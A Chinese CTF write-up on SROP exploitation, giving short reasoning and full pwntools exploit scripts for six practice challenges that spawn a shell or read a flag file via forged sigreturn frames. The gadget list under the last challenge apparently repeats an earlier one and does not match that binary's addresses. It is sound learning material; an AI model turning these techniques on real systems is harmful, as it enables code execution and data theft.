SROP

参考:
link1
link2

[CISCN 2019华南]PWN3

srop的前置条件，本题都可以找到

保护只开了nx，ida strings里面也是什么也没有
本题关键函数

此处sys_read函数可以将读入的字符串从$rbp-0x10处开始写入栈上，可以将/bin/sh写入方便后续利用，所以payload1可以这样构造
b"/bin/sh\x00"+p64(0)+p64(sys_read)
而随后的sys_write则将$rbp-0x10往后0x30 bytes的数据打印出来，我们可以利用这一点泄露signal frame的stack addr并测算距离/bin/sh字符串偏移，通过已知地址偏移确定/bin/sh字符串具体位置
gdb动调可以找出来偏移为296<=>0x128 (本地调出来这么多能打通，远端就打不通，远端偏移0x118，情况跟本地反着来😅😅😅)
7/18更新：SROP的栈偏移不同系统偏移不同

测出偏移后利用pwntools自带函数SigreturnFrame()开始构造
之后因为前面ret返回vuln起始，需要重新输入溢出，则payload2可以这样构造
b"/bin/sh\x00"+p64(0)+p64(mov_rax_0xf)+p64(syscall)+bytes(sigframe)
随后get shell
exp如下：

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=process("./pwn")
# io=remote(b"node3.anna.nssctf.cn",28623)

vuln=0x4004ed
syscall=0x400517
mov_rax_0xf=0x4004da

# gdb.attach(io)
# pause()

payload=p64(vuln)*3
io.send(payload)

stack_addr=u64(io.recv()[0x20:0x28])
print("stack_addr: ",hex(stack_addr))

str_bin_sh=stack_addr-0x118

sigframe=SigreturnFrame()
sigframe.rax=59
sigframe.rdi=str_bin_sh
sigframe.rsi=0
sigframe.rsp=stack_addr
sigframe.rdx=0
sigframe.rip=syscall

payload=b"/bin/sh\x00"+p64(0)+p64(mov_rax_0xf)+p64(syscall)+bytes(sigframe)
io.send(payload)

io.interactive()

360chunqiu2017_smallest

只有一次read_sys,但是直接读到rsp上

需要第一次返回时修改低1字节跳过xor rax,rax命令，使得rax不为0，从而执行write_sys泄露栈地址，第三次时构造read往栈上读，最后构造execve执行即可
注意sleep，不能发太快，发太快远端会炸

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./smallest")
io=remote("node4.buuoj.cn",28027)

main=0x4000b0
syscall=0x4000be

payload=p64(main)*3
io.send(payload)

# gdb.attach(io)
# pause()

io.send(b"\xb3")
stack_addr=u64(io.recv()[0x8:0x10])
# stack_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("stack_addr: "+hex(stack_addr))


#read
sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_read
sigframe.rdi=0
sigframe.rsi=stack_addr
sigframe.rsp=stack_addr
sigframe.rdx=0x400
sigframe.rip=syscall

payload=p64(main)+p64(0)+bytes(sigframe) #八个字节padding,出去信号机制的pop影响
io.send(payload)

sleep(1)  #远端防炸

payload=p64(syscall)+b"a"*7
io.send(payload)

#execve
sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_execve
sigframe.rdi=stack_addr+0x190
sigframe.rsp=stack_addr
sigframe.rsi=0
sigframe.rdx=0
sigframe.rip=syscall

payload=p64(main)+p64(0)+bytes(sigframe)
payload=payload.ljust(0x190,b"\x00")+b"/bin/sh\x00"
io.send(payload)

sleep(1)

payload=p64(syscall)+b"a"*7
io.send(payload)

io.interactive()

nepctf_srop

开启沙盒，orw
此题没有syscall;ret的gadget，只有syscall()函数，syscall()函数可以通过控制$rdi来控制$rax

mov     rax, rdi
mov     rdi, rsi
mov     rsi, rdx
mov     rdx, rcx
mov     r10, r8
mov     r8, r9
mov     r9, [rsp+arg_0]
syscall      

只给了一次读入的机会，我们可以通过这一次读入调用read读到bss段实现栈迁移上打orw
orw的实现均由syscall()函数实现
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=process("./pwn")
elf=ELF("./pwn")

buf_addr=0x601200
syscall=0x4005B0
pop_rdi=0x400813
flag=buf_addr+0x600

io.recvuntil(b"2023!\n")

#fake stack on bss to read
sigframe=SigreturnFrame()
sigframe.rdi=0 #read 系统调用号
sigframe.rsi=0 #stdin 标准输入
sigframe.rdx=buf_addr #buf
sigframe.rcx=0x800 #size
sigframe.rsp=buf_addr
sigframe.rip=syscall

payload=cyclic(0x38)+p64(pop_rdi)+p64(0xf)+p64(syscall)+bytes(sigframe)
io.send(payload)


gdb.attach(io)
pause()


#open
sigframe_open=SigreturnFrame()
sigframe_open.rdi=2 #open 系统调用号
sigframe_open.rsi=flag #filename
sigframe_open.rdx=0 
sigframe_open.rcx=0
sigframe_open.rsp=buf_addr+0x200 # top addr
sigframe_open.rip=syscall

payload=p64(pop_rdi)+p64(0xf)+p64(syscall)+bytes(sigframe_open)
payload=payload.ljust(0x200,b"a")


#read
sigframe_read=SigreturnFrame()
sigframe_read.rdi=0 #read 系统调用号
sigframe_read.rsi=3 #fd
sigframe_read.rdx=flag+0x100 #buf
sigframe_read.rcx=0x50 #size
sigframe_read.rsp=buf_addr+0x400 # top addr
sigframe_read.rip=syscall

payload+=p64(pop_rdi)+p64(0xf)+p64(syscall)+bytes(sigframe_read)
payload=payload.ljust(0x400,b"a")

#write
sigframe_write=SigreturnFrame()
sigframe_write.rdi=1 #write 系统调用号
sigframe_write.rsi=1 #stdout 标准输出
sigframe_write.rdx=flag+0x100 #buf
sigframe_write.rcx=0x50 #size
sigframe_write.rsp=buf_addr+0x600 # top addr
sigframe_write.rip=syscall

payload+=p64(pop_rdi)+p64(0xf)+p64(syscall)+bytes(sigframe_write)
payload=payload.ljust(0x600,b"a")+b"flag.txt\x00"

io.send(payload)


io.interactive()

# Gadgets information
# ============================================================
# 0x000000000040080c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040080e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400810 : pop r14 ; pop r15 ; ret
# 0x0000000000400812 : pop r15 ; ret
# 0x000000000040080b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040080f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400628 : pop rbp ; ret
# 0x0000000000400813 : pop rdi ; ret
# 0x0000000000400811 : pop rsi ; pop r15 ; ret
# 0x000000000040080d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040056e : ret
# 0x0000000000400798 : ret 0xbe

# Unique gadgets found: 12

rootersctf_2019_srop

给的syscall;leave;retn的gadget
不用leak出栈地址，直接在bss段上伪造栈读入就行了，注意指定$rbp，不然可能卡住
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./pwn")
io=remote("node4.buuoj.cn",26176)
elf=ELF("./pwn")

pop_syscall=0x401032
syscall_leave_ret=0x401033
buf_addr=0x402200
sh_addr=buf_addr+0x200

io.recvuntil(b"CTF?\n")

sigframe=SigreturnFrame()
sigframe.rax=0
sigframe.rdi=0
sigframe.rsi=buf_addr
sigframe.rdx=0x800
sigframe.rsp=buf_addr
sigframe.rbp=buf_addr
sigframe.rip=syscall_leave_ret

payload=cyclic(0x88)+p64(pop_syscall)+p64(0xf)+bytes(sigframe)
io.send(payload)


# gdb.attach(io)
# pause()


sigframe_exec=SigreturnFrame()
sigframe_exec.rax=59
sigframe_exec.rdi=sh_addr
sigframe_exec.rsi=0
sigframe_exec.rdx=0
sigframe_exec.rsp=buf_addr+0x200
sigframe_exec.rip=syscall_leave_ret

payload=p64(0)+p64(pop_syscall)+p64(0xf)+bytes(sigframe_exec)
payload=payload.ljust(0x200,b"a")+b"/bin/sh\x00"

io.send(payload)

io.interactive()

a.out

整个程序如下

.text:0000000000401000                               ; =============== S U B R O U T I N E =======================================
.text:0000000000401000
.text:0000000000401000
.text:0000000000401000                               ; signed __int64 start()
.text:0000000000401000                               public _start
.text:0000000000401000                               _start proc near                        ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401000                                                                       ; LOAD:0000000000400088↑o
.text:0000000000401000 B8 01 00 00 00                mov     eax, 1
.text:0000000000401005 BF 01 00 00 00                mov     edi, 1                          ; fd
.text:000000000040100A 48 BE 00 20 40 00 00 00 00 00 mov     rsi, offset msg                 ; "Hello Pwn"
.text:0000000000401014 BA 09 00 00 00                mov     edx, 9                          ; count
.text:0000000000401019 0F 05                         syscall                                 ; LINUX - sys_write
.text:000000000040101B B8 00 00 00 00                mov     eax, 0
.text:0000000000401020 48 89 E6                      mov     rsi, rsp                        ; buf
.text:0000000000401023 BF 00 00 00 00                mov     edi, 0                          ; fd
.text:0000000000401028 BA 90 01 00 00                mov     edx, 190h                       ; count
.text:000000000040102D 0F 05                         syscall                                 ; LINUX - sys_read
.text:000000000040102F C3                            retn
.text:000000000040102F
.text:000000000040102F                               _start endp
.text:000000000040102F
.text:0000000000401030                               ; ---------------------------------------------------------------------------
.text:0000000000401030 48 D1 E0                      shl     rax, 1
.text:0000000000401033 C3                            retn
.text:0000000000401033
.text:0000000000401034                               ; ---------------------------------------------------------------------------
.text:0000000000401034 B9 01 00 00 00                mov     ecx, 1
.text:0000000000401039 48 31 C8                      xor     rax, rcx
.text:000000000040103C C3                            retn
.text:000000000040103C
.text:000000000040103D                               ; ---------------------------------------------------------------------------
.text:000000000040103D 48 31 C0                      xor     rax, rax
.text:0000000000401040 C3                            retn
.text:0000000000401040
.text:0000000000401040                               _text ends
.text:0000000000401040

srop，需要手动构造rax的值为0xf触发sigframe
还是老样子伪造栈在bss上打，题目已经给出/bin/sh的地址
exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])

io=process("./a")

syscall_ret=0x40102d
str_sh=0x40200A
ret_wt=0x401014
bss_addr=0x402200
shl_rax=0x401030
xor_1=0x401034 
xor_rax=0x40103D 

gdb.attach(io)
pause()

#read
sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_read
sigframe.rdi=0
sigframe.rsi=bss_addr
sigframe.rdx=0x800
sigframe.rsp=bss_addr
sigframe.rbp=bss_addr
sigframe.rip=syscall_ret

payload=p64(xor_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(syscall_ret)+bytes(sigframe)
io.sendafter(b"Pwn",payload)

sleep(3)


sigframe_exe=SigreturnFrame()
sigframe_exe.rax=constants.SYS_execve
sigframe_exe.rdi=str_sh
sigframe_exe.rsp=bss_addr
sigframe_exe.rbp=bss_addr
sigframe_exe.rsi=0
sigframe_exe.rdx=0
sigframe_exe.rip=syscall_ret

payload=p64(xor_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(syscall_ret)+bytes(sigframe_exe)
# payload=b"aaaaaqaaaaaaa"
io.sendline(payload)

io.interactive()

0xGame2023_srop:

0x两道题都能用这个打
fake stack打orw

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./srop-revenge")
io=remote("8.130.35.16",55003)
elf=ELF("./srop-revenge")

buf_addr=0x404800
syscall_ret=0x40138b
pop_rax=0x401390
flag=buf_addr+0x450


#fake stack on bss to read
sigframe=SigreturnFrame()
sigframe.rax=0 #read 系统调用号
sigframe.rdi=0 #stdin 标准输入
sigframe.rsi=buf_addr #buf
sigframe.rdx=0x800 #size
sigframe.rsp=buf_addr
sigframe.rip=syscall_ret

payload=cyclic(0x10)+p64(pop_rax)+p64(0xf)+p64(syscall_ret)+bytes(sigframe)
io.send(payload)


# gdb.attach(io)
# pause()


#open
sigframe_open=SigreturnFrame()
sigframe_open.rax=2 #open 系统调用号
sigframe_open.rdi=flag #filename
sigframe_open.rsi=0 
sigframe_open.rdx=0
sigframe_open.rsp=buf_addr+0x150 # top addr
sigframe_open.rip=syscall_ret

payload=p64(pop_rax)+p64(0xf)+p64(syscall_ret)+bytes(sigframe_open)
payload=payload.ljust(0x150,b"a")


#read
sigframe_read=SigreturnFrame()
sigframe_read.rax=0 #read 系统调用号
sigframe_read.rdi=3 #fd
sigframe_read.rsi=flag+0x100 #buf
sigframe_read.rdx=0x50 #size
sigframe_read.rsp=buf_addr+0x300 # top addr
sigframe_read.rip=syscall_ret

payload+=p64(pop_rax)+p64(0xf)+p64(syscall_ret)+bytes(sigframe_read)
payload=payload.ljust(0x300,b"a")

#write
sigframe_write=SigreturnFrame()
sigframe_write.rax=1 #write 系统调用号
sigframe_write.rdi=1 #stdout 标准输出
sigframe_write.rsi=flag+0x100 #buf
sigframe_write.rdx=0x50 #size
sigframe_write.rsp=buf_addr+0x450 # top addr
sigframe_write.rip=syscall_ret

payload+=p64(pop_rax)+p64(0xf)+p64(syscall_ret)+bytes(sigframe_write)
payload=payload.ljust(0x450,b"a")+b"flag"

io.send(payload)


io.interactive()

# Gadgets information
# ============================================================
# 0x000000000040080c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040080e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400810 : pop r14 ; pop r15 ; ret
# 0x0000000000400812 : pop r15 ; ret
# 0x000000000040080b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040080f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400628 : pop rbp ; ret
# 0x0000000000400813 : pop rdi ; ret
# 0x0000000000400811 : pop rsi ; pop r15 ; ret
# 0x000000000040080d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040056e : ret
# 0x0000000000400798 : ret 0xbe

# Unique gadgets found: 12